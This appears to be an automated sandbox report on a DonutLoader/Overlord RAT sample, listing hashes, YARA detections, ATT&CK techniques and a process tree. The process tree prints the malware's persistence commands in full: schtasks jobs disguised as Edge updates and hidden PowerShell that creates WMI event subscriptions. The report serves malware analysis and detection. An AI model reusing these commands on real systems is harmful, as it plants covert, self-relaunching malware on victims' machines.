donutloader | 5101d15e1afec27819a5870960cac84e0b2d737b62c603badeb1f91d03618b3d

Analysis

max time kernel
56s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 02:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
Size 17.3MB
Sample260804-dcqa3abh62
SHA256 5101d15e1afec27819a5870960cac84e0b2d737b62c603badeb1f91d03618b3d
MD5 61db4683746da580f865c9801d6a6227
SHA1 1d476f7874ad007bc110fe58c5cbe6af4557a66e
SHA512 0e6f0da3ac543dd4064bbac796b243c592ad9289b6a507698355ec162f6e0acf7a6e2c0d0b8cb19b365eee0bedc378df43fc0776483f74f4713591156d0c9b37
SSDEEP 393216:j/fSE4R5lzs6wmy2TRT//cUcnRgJs58ibUdmCZZKPOz:j/wRrzj1V/0syhbwtbKPOz
TLSH
T19F071207BCA108FAC0AE937189A256977B75BC590F3263DB2E50B6782FB2BD45C75304
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution donutloader overlord loader persistence privilege_escalation rat

Malware Config

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
rat overlord

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/5368-960-0x000001BB7EE30000-0x000001BB7FC41000-memory.dmp	family_donutloader

Detects Overlord RAT 6 IoCs

resource	yara_rule
behavioral2/memory/5308-933-0x000001C25BA10000-0x000001C26004E000-memory.dmp	family_overlord
behavioral2/memory/5368-958-0x000001BB48B20000-0x000001BB4D15E000-memory.dmp	family_overlord
behavioral2/memory/2304-961-0x000001E1F0D80000-0x000001E1F53BE000-memory.dmp	family_overlord
behavioral2/memory/2596-981-0x000001EEC0000000-0x000001EEC463E000-memory.dmp	family_overlord
behavioral2/memory/4664-998-0x000001C953780000-0x000001C957DBE000-memory.dmp	family_overlord
behavioral2/memory/2700-1020-0x0000020575BF0000-0x000002057A22E000-memory.dmp	family_overlord

Detects executables referencing many IR and analysis tools 5 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c507-4.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000d00000001c507-84.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000d00000001c507-112.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000d00000001c507-126.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000d00000001c507-209.dat	INDICATOR_SUSPICIOUS_References_SecTools

Detects executables referencing virtualization MAC addresses 5 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c507-4.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/files/0x000d00000001c507-84.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/files/0x000d00000001c507-112.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/files/0x000d00000001c507-126.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/files/0x000d00000001c507-209.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
10344	powershell.exe
10600	powershell.exe
11120	powershell.exe
10468	powershell.exe
1788	powershell.exe
5728	powershell.exe
6004	powershell.exe
6108	powershell.exe
5000	powershell.exe
9856	powershell.exe
9468	powershell.exe
10676	powershell.exe
5652	powershell.exe
7164	powershell.exe
3092	powershell.exe
8724	powershell.exe
4824	powershell.exe
6312	powershell.exe
7164	powershell.exe
1872	powershell.exe
7280	powershell.exe
7800	powershell.exe
7720	powershell.exe
5168	powershell.exe
3640	powershell.exe
8868	powershell.exe
9304	powershell.exe
9968	powershell.exe
11108	powershell.exe
8936	powershell.exe
5796	powershell.exe
8824	powershell.exe
3416	powershell.exe
4644	powershell.exe
5664	powershell.exe
6984	powershell.exe
8372	powershell.exe
9648	powershell.exe
6896	powershell.exe
4292	powershell.exe
9128	powershell.exe
9512	powershell.exe
5156	powershell.exe
6784	powershell.exe
6328	powershell.exe
728	powershell.exe
9608	powershell.exe
10856	powershell.exe
10936	powershell.exe
1872	powershell.exe
5164	powershell.exe
9172	powershell.exe
6268	powershell.exe
8032	powershell.exe
10128	powershell.exe
6972	powershell.exe
8352	powershell.exe
5092	powershell.exe
6032	powershell.exe
4284	powershell.exe
1284	powershell.exe
7560	powershell.exe
8608	powershell.exe
8832	powershell.exe

Creates a file in the Startup directory 1 TTPs 17 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

Executes dropped EXE 16 IoCs

pid	Process
5368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2304	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2596	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4664	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2700	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2672	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3164	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3512	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2660	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4904	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4188	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3028	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3012	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5524	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4660	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1232	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe

Adds Run key to start application 2 TTPs 17 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Drops file in System32 directory 17 IoCs

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6936	schtasks.exe
10256	schtasks.exe
7336	schtasks.exe
10904	schtasks.exe
2352	schtasks.exe
2348	schtasks.exe
3044	schtasks.exe
6920	schtasks.exe
712	schtasks.exe
9968	schtasks.exe
10904	schtasks.exe
4552	schtasks.exe
6440	schtasks.exe
3444	schtasks.exe
8392	schtasks.exe
2320	schtasks.exe
6180	schtasks.exe
9900	schtasks.exe
5552	schtasks.exe
5664	schtasks.exe
6292	schtasks.exe
2484	schtasks.exe
10584	schtasks.exe
1152	schtasks.exe
9196	schtasks.exe
4568	schtasks.exe
4564	schtasks.exe
6192	schtasks.exe
7264	schtasks.exe
7720	schtasks.exe
5660	schtasks.exe
8852	schtasks.exe
8792	schtasks.exe
3284	schtasks.exe
3228	schtasks.exe
6712	schtasks.exe
6980	schtasks.exe
7528	schtasks.exe
5660	schtasks.exe
8380	schtasks.exe
9384	schtasks.exe
4796	schtasks.exe
3152	schtasks.exe
3288	schtasks.exe
1116	schtasks.exe
9196	schtasks.exe
8352	schtasks.exe
10328	schtasks.exe
9916	schtasks.exe
5740	schtasks.exe
5632	schtasks.exe
4252	schtasks.exe
7028	schtasks.exe
2992	schtasks.exe
9112	schtasks.exe
8724	schtasks.exe
9852	schtasks.exe
5116	schtasks.exe
2576	schtasks.exe
6316	schtasks.exe
5712	schtasks.exe
4884	schtasks.exe
9308	schtasks.exe
10112	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5308	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5308	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
944	powershell.exe
944	powershell.exe
5368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5124	powershell.exe
5124	powershell.exe
5124	powershell.exe
2304	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2304	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1792	powershell.exe
1792	powershell.exe
1792	powershell.exe
2596	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2596	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1788	powershell.exe
1788	powershell.exe
1788	powershell.exe
4664	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4664	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5728	powershell.exe
5728	powershell.exe
5728	powershell.exe
2700	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2700	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4284	powershell.exe
4284	powershell.exe
4284	powershell.exe
2672	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2672	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6008	powershell.exe
6008	powershell.exe
6008	powershell.exe
3164	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3164	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
3512	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3512	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
568	powershell.exe
568	powershell.exe
568	powershell.exe
2660	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2660	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3416	powershell.exe
3416	powershell.exe
3416	powershell.exe
4904	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4904	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4188	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4188	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4292	powershell.exe
4292	powershell.exe
4292	powershell.exe
3028	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3028	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5556	powershell.exe
5556	powershell.exe
5556	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	944	powershell.exe
Token: SeDebugPrivilege	5124	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	5728	powershell.exe
Token: SeDebugPrivilege	4284	powershell.exe
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeDebugPrivilege	1284	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	5556	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	5652	powershell.exe
Token: SeDebugPrivilege	6004	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 5308 wrote to memory of 4796	5308	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	90
PID 5308 wrote to memory of 944	5308	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	91
PID 5368 wrote to memory of 3676	5368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	94
PID 5368 wrote to memory of 5124	5368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	95
PID 2304 wrote to memory of 1100	2304	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	98
PID 2304 wrote to memory of 1792	2304	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	99
PID 2596 wrote to memory of 2348	2596	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	102
PID 2596 wrote to memory of 1788	2596	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	103
PID 4664 wrote to memory of 3284	4664	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	106
PID 4664 wrote to memory of 5728	4664	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	107
PID 2700 wrote to memory of 4568	2700	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	110
PID 2700 wrote to memory of 4284	2700	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	111
PID 2672 wrote to memory of 3488	2672	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	114
PID 2672 wrote to memory of 6008	2672	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	115
PID 3164 wrote to memory of 5552	3164	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	118
PID 3164 wrote to memory of 1284	3164	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	119
PID 3512 wrote to memory of 3152	3512	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	122
PID 3512 wrote to memory of 568	3512	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	123
PID 2660 wrote to memory of 5740	2660	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	126
PID 2660 wrote to memory of 3416	2660	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	127
PID 4904 wrote to memory of 3228	4904	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	131
PID 4904 wrote to memory of 4316	4904	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	132
PID 4188 wrote to memory of 5116	4188	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	135
PID 4188 wrote to memory of 4292	4188	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	136
PID 3028 wrote to memory of 2656	3028	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	157
PID 3028 wrote to memory of 5556	3028	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	140
PID 3012 wrote to memory of 3044	3012	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	143
PID 3012 wrote to memory of 4824	3012	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	144
PID 5524 wrote to memory of 4564	5524	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	147
PID 5524 wrote to memory of 4644	5524	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	148
PID 4660 wrote to memory of 4796	4660	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	151
PID 4660 wrote to memory of 5652	4660	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	152
PID 1232 wrote to memory of 2320	1232	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	165
PID 1232 wrote to memory of 6004	1232	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5308
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-fosknc3po0 /tr C:\Windows\System32\e0821kdrfh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\e0821kdrfh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:944

C:\Windows\System32\e0821kdrfh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\e0821kdrfh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5368
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-coamug0n3w /tr C:\Windows\System32\orxo01593w\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\orxo01593w\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5124

C:\Windows\System32\orxo01593w\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\orxo01593w\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-0c9ss93ipd /tr C:\Windows\System32\oek08e5p9b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:1100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\oek08e5p9b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1792

C:\Windows\System32\oek08e5p9b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\oek08e5p9b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-icoq5v12p2 /tr C:\Windows\System32\mmvx9dmsk5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\mmvx9dmsk5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1788

C:\Windows\System32\mmvx9dmsk5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\mmvx9dmsk5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-cqs8ewnkm2 /tr C:\Windows\System32\nffuy50fha\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\nffuy50fha\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5728

C:\Windows\System32\nffuy50fha\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\nffuy50fha\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-xmart3gwe7 /tr C:\Windows\System32\iloiqpq5kv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\iloiqpq5kv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4284

C:\Windows\System32\iloiqpq5kv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\iloiqpq5kv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-wbhup875ji /tr C:\Windows\System32\aiwngjt2xp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:3488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\aiwngjt2xp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6008

C:\Windows\System32\aiwngjt2xp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\aiwngjt2xp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-w91cs8hj4r /tr C:\Windows\System32\u9a8a21wh8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\u9a8a21wh8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1284

C:\Windows\System32\u9a8a21wh8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
